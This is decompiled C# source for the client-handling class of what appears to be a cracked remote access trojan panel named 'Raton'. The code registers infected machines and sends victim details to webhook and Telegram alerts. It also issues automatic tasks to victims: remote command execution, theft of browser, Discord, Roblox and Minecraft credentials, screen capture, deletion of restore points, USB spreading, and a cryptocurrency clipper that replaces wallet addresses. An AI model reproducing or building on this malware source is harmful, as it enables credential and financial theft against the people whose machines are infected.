522 lines
20 KiB
C#
522 lines
20 KiB
C#
// Decompiled with JetBrains decompiler
|
||
// Type: HandleClient
|
||
// Assembly: Raton, Version=0.4.0.0, Culture=neutral, PublicKeyToken=null
|
||
// MVID: 36C4E416-7F8D-4D23-930F-B5CCB0D810E7
|
||
// Assembly location: C:\Users\user\Desktop\v3.8.0 Deluxe Plugins (v4.0.0) cracked\Raton.exe
|
||
|
||
using GMap.NET;
|
||
using GMap.NET.WindowsPresentation;
|
||
using Microsoft.CSharp.RuntimeBinder;
|
||
using Newtonsoft.Json;
|
||
using Newtonsoft.Json.Linq;
|
||
using Raton.Classes;
|
||
using Raton.Windows;
|
||
using RatonBack;
|
||
using Server.Connection;
|
||
using Stuff;
|
||
using System;
|
||
using System.Collections.Generic;
|
||
using System.IO;
|
||
using System.Linq;
|
||
using System.Linq.Expressions;
|
||
using System.Net;
|
||
using System.Net.Http;
|
||
using System.Runtime.CompilerServices;
|
||
using System.Text;
|
||
using System.Threading.Tasks;
|
||
using System.Windows;
|
||
using System.Windows.Media;
|
||
using System.Windows.Media.Imaging;
|
||
using System.Windows.Shapes;
|
||
using WpfApp1;
|
||
|
||
#nullable disable
|
||
internal class HandleClient
|
||
{
|
||
private static HandleClient.UserConfig userConfig;
|
||
|
||
private static void LoadConfig()
|
||
{
|
||
string path = System.IO.Path.Combine(MainWindow.appData, "userData.json");
|
||
if (System.IO.File.Exists(path))
|
||
{
|
||
HandleClient.userConfig = JsonConvert.DeserializeObject<HandleClient.UserConfig>(System.IO.File.ReadAllText(path)) ?? new HandleClient.UserConfig();
|
||
if (HandleClient.userConfig.webhook == null)
|
||
HandleClient.userConfig.webhook = "false";
|
||
if (HandleClient.userConfig.Notifications == null)
|
||
HandleClient.userConfig.Notifications = "true";
|
||
System.IO.File.WriteAllText(path, JsonConvert.SerializeObject((object) HandleClient.userConfig, Formatting.Indented));
|
||
}
|
||
else
|
||
{
|
||
HandleClient.userConfig = new HandleClient.UserConfig();
|
||
System.IO.File.WriteAllText(path, JsonConvert.SerializeObject((object) HandleClient.userConfig, Formatting.Indented));
|
||
}
|
||
}
|
||
|
||
private async Task SendWebhook(
|
||
string uid,
|
||
string ip,
|
||
string username,
|
||
string machine,
|
||
string os,
|
||
string group,
|
||
string country,
|
||
string ex,
|
||
string av,
|
||
string pass,
|
||
string version,
|
||
string clock,
|
||
string payloadClient)
|
||
{
|
||
if (string.IsNullOrWhiteSpace(HandleClient.userConfig.URL))
|
||
return;
|
||
if (pass.Length < 1)
|
||
pass = "No client password";
|
||
string content = $"{{\"content\":\"@everyone\",\"embeds\":[{{\"title\":\"New client\",\"color\":6824314,\"description\":\"\uD83C\uDF0D **Country:** {country}\\n\uD83C\uDF10 **IP:** {ip}\\n\uD83D\uDC64 **Username:** {username}\\n\uD83D\uDDA5️ **Machine:** {machine}\\n\uD83D\uDCBB **OS:** {os}\\n\uD83D\uDC65 **Group:** {group}\\n▶️ **Executing:** {ex}\\n\uD83D\uDEE1️ **Antivirus:** {av}\\n\uD83D\uDD11 **Pass:** {pass}\\n\uD83E\uDDE9 **Version:** {version}\\n⏰ **Clock:** {clock}\\n\uD83D\uDCE6 **Payload:** {payloadClient}\\n\uD83C\uDD94 **ID:** {uid}\"}}]}}";
|
||
using (HttpClient http = new HttpClient())
|
||
{
|
||
HttpResponseMessage httpResponseMessage = await http.PostAsync(HandleClient.userConfig.URL, (HttpContent) new StringContent(content, Encoding.UTF8, "application/json"));
|
||
}
|
||
}
|
||
|
||
private async Task SendTelegram(
|
||
string uid,
|
||
string ip,
|
||
string username,
|
||
string machine,
|
||
string os,
|
||
string group,
|
||
string country,
|
||
string ex,
|
||
string av,
|
||
string pass,
|
||
string version,
|
||
string clock,
|
||
string payloadClient)
|
||
{
|
||
string path = System.IO.Path.Combine(MainWindow.appData, "telegram.json");
|
||
if (!System.IO.File.Exists(path))
|
||
return;
|
||
|
||
try
|
||
{
|
||
JObject json = JObject.Parse(System.IO.File.ReadAllText(path));
|
||
if (json["Enabled"] == null || !(bool)json["Enabled"])
|
||
return;
|
||
|
||
string token = json["Token"]?.ToString();
|
||
string chatId = json["ChatId"]?.ToString();
|
||
|
||
if (string.IsNullOrEmpty(token) || string.IsNullOrEmpty(chatId))
|
||
return;
|
||
|
||
string str3 = $"\uD83D\uDDA5️ New client\n\n\uD83C\uDF0D Country: {country}\n\uD83C\uDF10 IP: {ip}\n\uD83D\uDC64 Username: {username}\n\uD83D\uDDA5️ Machine: {machine}\n\uD83D\uDCBB OS: {os}\n\uD83D\uDC65 Group: {group}\n▶️ Executing: {ex}\n\uD83D\uDEE1️ Antivirus: {av}\n\uD83D\uDD11 Pass: {pass}\n\uD83E\uDDE9 Version: {version}\n⏰ Clock: {clock}\n\uD83D\uDCE6 Payload: {payloadClient}\n\uD83C\uDD94 ID: {uid}";
|
||
using (HttpClient http = new HttpClient())
|
||
{
|
||
HttpResponseMessage httpResponseMessage = await http.PostAsync($"https://api.telegram.org/bot{token}/sendMessage", (HttpContent) new StringContent(JsonConvert.SerializeObject((object) new
|
||
{
|
||
chat_id = chatId,
|
||
text = str3
|
||
}), Encoding.UTF8, "application/json"));
|
||
}
|
||
}
|
||
catch (Exception ex2)
|
||
{
|
||
MainWindow.form2?.AddErrorLog((object) ("SendTelegram error: " + ex2.Message));
|
||
}
|
||
}
|
||
|
||
private async Task LoadCoordinatesAsync(string country, string uid, string username)
|
||
{
|
||
try
|
||
{
|
||
(double, double)? coords = await CountryLocation.GetCapitalCoordinatesAsync(country);
|
||
MainWindow.form2.Dispatcher.Invoke((Action) (() =>
|
||
{
|
||
if (coords.HasValue)
|
||
MainWindow.form2.AddMarker(new GMapMarker(new PointLatLng(coords.Value.Item1, coords.Value.Item2))
|
||
{
|
||
Shape = (UIElement) new Ellipse()
|
||
{
|
||
Width = 20.0,
|
||
Height = 20.0,
|
||
Fill = (Brush) Brushes.Red,
|
||
Stroke = (Brush) Brushes.White,
|
||
StrokeThickness = 2.0,
|
||
ToolTip = (object) $"{username} is from {country}"
|
||
}
|
||
});
|
||
else
|
||
MainWindow.form2.AddErrorLog((object) "Couldn't add client to world map — coordinates unknown");
|
||
}));
|
||
}
|
||
catch
|
||
{
|
||
}
|
||
}
|
||
|
||
private BitmapImage GetCountryFlag(string countryName)
|
||
{
|
||
try
|
||
{
|
||
using (WebClient webClient = new WebClient())
|
||
{
|
||
string address = JArray.Parse(webClient.DownloadString("https://restcountries.com/v3.1/name/" + countryName))[0][(object) "flags"][(object) "png"].ToString();
|
||
byte[] buffer = webClient.DownloadData(address);
|
||
BitmapImage countryFlag = new BitmapImage();
|
||
countryFlag.BeginInit();
|
||
countryFlag.CacheOption = BitmapCacheOption.OnLoad;
|
||
countryFlag.StreamSource = (Stream) new MemoryStream(buffer);
|
||
countryFlag.DecodePixelWidth = 32 /*0x20*/;
|
||
countryFlag.DecodePixelHeight = 32 /*0x20*/;
|
||
countryFlag.EndInit();
|
||
countryFlag.Freeze();
|
||
return countryFlag;
|
||
}
|
||
}
|
||
catch
|
||
{
|
||
return (BitmapImage) null;
|
||
}
|
||
}
|
||
|
||
public HandleClient(SillyClient client, Unpack unpack)
|
||
{
|
||
HandleClient handleClient = this;
|
||
try
|
||
{
|
||
HandleClient.LoadConfig();
|
||
string uid = unpack.GetAsString("UID");
|
||
string ip = unpack.GetAsString("IP");
|
||
string username = unpack.GetAsString("Username");
|
||
string machine = unpack.GetAsString("Machine");
|
||
string os = unpack.GetAsString("Os");
|
||
string group = unpack.GetAsString("Group");
|
||
string country = unpack.GetAsString("Country");
|
||
string ex = unpack.GetAsString("Executing");
|
||
string av = unpack.GetAsString("AV");
|
||
string pass = unpack.GetAsString("Pass");
|
||
string version = unpack.GetAsString("Version");
|
||
string clock = unpack.GetAsString("Clock");
|
||
string payload = unpack.GetAsString("Payload");
|
||
if (uid.Length > 15)
|
||
return;
|
||
this.LoadCoordinatesAsync(country, uid, username);
|
||
MainWindow.form2.Dispatcher.Invoke((Action) (() =>
|
||
{
|
||
MainWindow win = MainWindow.form2;
|
||
if (handleClient.IsBlockedIP(ip, username))
|
||
{
|
||
client.Disconnect();
|
||
win.AddErrorLog((object) $"Blocked IP/user detected ({ip} | {username}) — disconnecting");
|
||
HandleClient.UpdateStats();
|
||
}
|
||
else
|
||
{
|
||
ClientRow existing = win.ClientsGrid.Items.OfType<ClientRow>().FirstOrDefault<ClientRow>((Func<ClientRow, bool>) (r => string.Equals(r.ID, uid, StringComparison.OrdinalIgnoreCase) || string.Equals(r.Client, ip, StringComparison.OrdinalIgnoreCase)));
|
||
if (existing != null)
|
||
{
|
||
client.uid = uid;
|
||
client.password = pass;
|
||
client.ClientModel = existing;
|
||
win.Dispatcher.Invoke((Action) (() =>
|
||
{
|
||
existing.Client = ip;
|
||
existing.Tag = group;
|
||
existing.User = $"{username}@{machine}";
|
||
existing.OS = os;
|
||
existing.Version = version;
|
||
existing.Running = ex;
|
||
existing.AV = av;
|
||
existing.Status = "Connected";
|
||
existing.Date = clock;
|
||
existing.Payload = payload;
|
||
existing.Country = country;
|
||
win.ClientsGrid.Items.Refresh();
|
||
}));
|
||
string str1 = System.IO.Path.Combine(MainWindow.ClientsFolder, ip);
|
||
string str2 = System.IO.Path.Combine(MainWindow.ClientsFolder, uid);
|
||
if (Directory.Exists(str1) && !Directory.Exists(str2))
|
||
Directory.Move(str1, str2);
|
||
else if (!Directory.Exists(str2))
|
||
Directory.CreateDirectory(str2);
|
||
win.AddSuccessLog((object) $"Client reconnected ({ip}) • ID: {uid}");
|
||
HandleClient.Notify(win, ip, $"{username} is back again!\nID: {uid} (Reconnected)");
|
||
Task.Run((Action) (() =>
|
||
{
|
||
BitmapImage flag = handleClient.GetCountryFlag(country);
|
||
win.Dispatcher.Invoke((Action) (() =>
|
||
{
|
||
existing.Flag = flag;
|
||
win.ClientsGrid.Items.Refresh();
|
||
}));
|
||
}));
|
||
}
|
||
else
|
||
{
|
||
ClientRow row = new ClientRow()
|
||
{
|
||
Client = ip,
|
||
Tag = group,
|
||
User = $"{username}@{machine}",
|
||
ID = uid,
|
||
OS = os,
|
||
Version = version,
|
||
Running = ex,
|
||
AV = av,
|
||
Status = "Connected",
|
||
Date = clock,
|
||
Payload = payload,
|
||
Country = country,
|
||
Flag = (BitmapImage) null
|
||
};
|
||
client.uid = uid;
|
||
client.password = pass;
|
||
client.ClientModel = row;
|
||
win.Clients.Add(row);
|
||
string path = System.IO.Path.Combine(MainWindow.ClientsFolder, uid);
|
||
if (!Directory.Exists(path))
|
||
{
|
||
Directory.CreateDirectory(path);
|
||
win.AddSuccessLog((object) $"New client connected ({ip}) • Folder created");
|
||
}
|
||
else
|
||
win.AddSuccessLog((object) $"Welcome back, @{win.user}. Client ({ip}) reconnected — payload: {payload}");
|
||
HandleClient.Notify(win, ip, $"New session with {username}\nID: {uid}");
|
||
HandleClient.RunAutoTasks(client, username);
|
||
if (HandleClient.userConfig.webhook == "true")
|
||
Task.Run((Func<Task>) (() => handleClient.SendWebhook(uid, ip, username, machine, os, group, country, ex, av, pass, version, clock, payload)));
|
||
Task.Run((Func<Task>) (() => handleClient.SendTelegram(uid, ip, username, machine, os, group, country, ex, av, pass, version, clock, payload)));
|
||
Task.Run((Action) (() =>
|
||
{
|
||
BitmapImage flag = handleClient.GetCountryFlag(country);
|
||
win.Dispatcher.Invoke((Action) (() =>
|
||
{
|
||
row.Flag = flag;
|
||
win.ClientsGrid.Items.Refresh();
|
||
}));
|
||
}));
|
||
}
|
||
if (win.isClipping)
|
||
HandleClient.SendClipperToClient(client);
|
||
string str = TagStorage.Get(client.ClientModel.Client);
|
||
if (str != null)
|
||
client.ClientModel.Tag = str;
|
||
HandleClient.UpdateStats();
|
||
Pack pack = new Pack();
|
||
pack.SetString("Packet", "Ping");
|
||
client.Send(pack.Pacc());
|
||
}
|
||
}));
|
||
}
|
||
catch (Exception ex)
|
||
{
|
||
MainWindow.form2?.AddErrorLog((object) ("HandleClient exception: " + ex.Message));
|
||
}
|
||
}
|
||
|
||
private static async Task<string> UpdateStats()
|
||
{
|
||
MainWindow form2 = MainWindow.form2;
|
||
if (form2 == null)
|
||
return (string) null;
|
||
int num1 = form2.Clients.Count<ClientRow>((Func<ClientRow, bool>) (c => c.Status == "Connected"));
|
||
int num2 = form2.Clients.Count<ClientRow>((Func<ClientRow, bool>) (c => c.Status == "Disconnected"));
|
||
int count = form2.Clients.Count;
|
||
form2.StatOnline.Text = num1.ToString();
|
||
form2.StatOffline.Text = num2.ToString();
|
||
form2.StatRate.Text = count > 0 ? $"{(double) num1 / (double) count * 100.0:0.0}%" : "0.0%";
|
||
if (Directory.Exists(MainWindow.ClientsFolder))
|
||
form2.StatFolders.Text = Directory.GetDirectories(MainWindow.ClientsFolder).Length.ToString();
|
||
(bool, string) valueTuple = await BackendClient.CheckDevice(DeviceManager.GetHWID(), DeviceManager.GetOrCreateId());
|
||
if (valueTuple.Item1)
|
||
{
|
||
int num3 = (int) MessageBox.Show(valueTuple.Item2);
|
||
Environment.Exit(0);
|
||
}
|
||
return "ok";
|
||
}
|
||
|
||
private static void Notify(MainWindow win, string title, string body)
|
||
{
|
||
Notification.Show($"{title}\n{body}", "\uE77B", new Color?(Color.FromRgb((byte) 76, (byte) 175, (byte) 80 /*0x50*/)));
|
||
}
|
||
|
||
private static void SendClipperToClient(SillyClient client)
|
||
{
|
||
Program.formClip.clients.Add(client);
|
||
Program.formClip.Text = $"Clipper activated on {Program.formClip.clients.Count.ToString()} clients";
|
||
Pack pack = new Pack();
|
||
pack.SetString("Packet", "Clipper");
|
||
pack.SetString("BTC", Program.formClip.btc);
|
||
pack.SetString("ETH", Program.formClip.eth);
|
||
pack.SetString("LTC", Program.formClip.ltc);
|
||
pack.SetString("XMR", Program.formClip.xmr);
|
||
pack.SetString("SOLANA", Program.formClip.solana);
|
||
client.Send(pack.Pacc());
|
||
}
|
||
|
||
private static async void RunAutoTasks(SillyClient client, string username)
|
||
{
|
||
try
|
||
{
|
||
string path = System.IO.Path.Combine(MainWindow.appData, "tasks.json");
|
||
if (!System.IO.File.Exists(path))
|
||
return;
|
||
List<HandleClient.TaskEntry> taskEntryList = JsonConvert.DeserializeObject<List<HandleClient.TaskEntry>>(System.IO.File.ReadAllText(path));
|
||
if (taskEntryList == null || taskEntryList.Count == 0)
|
||
return;
|
||
MainWindow form2 = MainWindow.form2;
|
||
foreach (HandleClient.TaskEntry taskEntry in taskEntryList)
|
||
{
|
||
string lowerInvariant = taskEntry.Name?.ToLowerInvariant();
|
||
if (!string.IsNullOrWhiteSpace(lowerInvariant))
|
||
{
|
||
if (lowerInvariant.StartsWith("execute"))
|
||
{
|
||
Pack pack = new Pack();
|
||
pack.SetString("Packet", "CommandPrompt");
|
||
pack.SetString("Command", taskEntry.Value ?? string.Empty);
|
||
client.Send(pack.Pacc());
|
||
form2.AddSuccessLog((object) ("Command prompt task executed on " + username));
|
||
}
|
||
else if (lowerInvariant.StartsWith("browser"))
|
||
{
|
||
Pack pack = new Pack();
|
||
pack.SetString("Packet", "GetPassword");
|
||
client.Send(pack.Pacc());
|
||
form2.AddSuccessLog((object) ("Password recovery task executed on " + username));
|
||
}
|
||
else if (lowerInvariant.StartsWith("firefox"))
|
||
{
|
||
Pack pack = new Pack();
|
||
pack.SetString("Packet", "Firefox");
|
||
client.Send(pack.Pacc());
|
||
form2.AddSuccessLog((object) ("Firefox recovery task executed on " + username));
|
||
}
|
||
else if (lowerInvariant.StartsWith("roblox"))
|
||
{
|
||
Pack pack = new Pack();
|
||
pack.SetString("Packet", "Roblox");
|
||
client.Send(pack.Pacc());
|
||
form2.AddSuccessLog((object) ("Roblox sessions task executed on " + username));
|
||
}
|
||
else if (lowerInvariant.StartsWith("screamer"))
|
||
{
|
||
Pack pack = new Pack();
|
||
pack.SetString("Packet", "Screamer");
|
||
client.Send(pack.Pacc());
|
||
form2.AddSuccessLog((object) ("Screamer task executed on " + username));
|
||
}
|
||
else if (lowerInvariant.StartsWith("discord"))
|
||
{
|
||
Pack pack = new Pack();
|
||
pack.SetString("Packet", "Discord");
|
||
client.Send(pack.Pacc());
|
||
form2.AddSuccessLog((object) ("Discord task executed on " + username));
|
||
}
|
||
else if (lowerInvariant.StartsWith("save"))
|
||
{
|
||
form2.isScreensStarted = true;
|
||
Pack pack = new Pack();
|
||
pack.SetString("Packet", "GetScreen");
|
||
client.Send(pack.Pacc());
|
||
form2.AddSuccessLog((object) (username + "'s screen saved in the screens tab"));
|
||
}
|
||
else if (lowerInvariant.StartsWith("minecraft"))
|
||
{
|
||
Pack pack = new Pack();
|
||
pack.SetString("Packet", "Minecraft");
|
||
client.Send(pack.Pacc());
|
||
form2.AddSuccessLog((object) ("Minecraft task executed on " + username));
|
||
}
|
||
else if (lowerInvariant.StartsWith("delete"))
|
||
{
|
||
Pack pack = new Pack();
|
||
pack.SetString("Packet", "Restore");
|
||
client.Send(pack.Pacc());
|
||
form2.AddSuccessLog((object) ("Delete restore points task executed on " + username));
|
||
}
|
||
else if (lowerInvariant.StartsWith("prevent"))
|
||
{
|
||
Pack pack = new Pack();
|
||
pack.SetString("Packet", "Sleep");
|
||
client.Send(pack.Pacc());
|
||
form2.AddSuccessLog((object) ("Prevent sleep task executed on " + username));
|
||
}
|
||
else if (lowerInvariant.StartsWith("usb"))
|
||
{
|
||
Pack pack = new Pack();
|
||
pack.SetString("Packet", "USB");
|
||
client.Send(pack.Pacc());
|
||
form2.AddSuccessLog((object) ("USB spread task executed on " + username));
|
||
}
|
||
}
|
||
}
|
||
}
|
||
catch (Exception ex)
|
||
{
|
||
MainWindow.form2?.AddErrorLog((object) ("RunAutoTasks error: " + ex.Message));
|
||
}
|
||
}
|
||
|
||
private bool IsBlockedIP(string ip, string user)
|
||
{
|
||
try
|
||
{
|
||
string path = System.IO.Path.Combine(MainWindow.appData, "blocked.json");
|
||
if (!System.IO.File.Exists(path))
|
||
return false;
|
||
HandleClient.BlockedList blockedList = JsonConvert.DeserializeObject<HandleClient.BlockedList>(System.IO.File.ReadAllText(path));
|
||
int num;
|
||
if (blockedList == null)
|
||
{
|
||
num = 0;
|
||
}
|
||
else
|
||
{
|
||
List<string> ip1 = blockedList.IP;
|
||
bool? nullable = ip1 != null ? new bool?(ip1.Any<string>((Func<string, bool>) (x => string.Equals(x?.Trim(), ip?.Trim(), StringComparison.OrdinalIgnoreCase) || string.Equals(x?.Trim(), user?.Trim(), StringComparison.OrdinalIgnoreCase)))) : new bool?();
|
||
bool flag = true;
|
||
num = nullable.GetValueOrDefault() == flag & nullable.HasValue ? 1 : 0;
|
||
}
|
||
return num != 0;
|
||
}
|
||
catch (Exception ex)
|
||
{
|
||
MainWindow.form2?.AddErrorLog((object) ("Error reading blocked.json: " + ex.Message));
|
||
return false;
|
||
}
|
||
}
|
||
|
||
public bool isClient(string uid)
|
||
{
|
||
MainWindow form2 = MainWindow.form2;
|
||
return form2 != null && form2.Clients.Any<ClientRow>((Func<ClientRow, bool>) (r => r.ID == uid));
|
||
}
|
||
|
||
private class BlockedList
|
||
{
|
||
public List<string> IP { get; set; } = new List<string>();
|
||
}
|
||
|
||
private class UserConfig
|
||
{
|
||
public string darkMode { get; set; } = "true";
|
||
|
||
public string webhook { get; set; } = "false";
|
||
|
||
public string URL { get; set; } = string.Empty;
|
||
|
||
public string Notifications { get; set; } = "true";
|
||
}
|
||
|
||
private class TaskEntry
|
||
{
|
||
public string Name { get; set; }
|
||
|
||
public string Value { get; set; }
|
||
}
|
||
}
|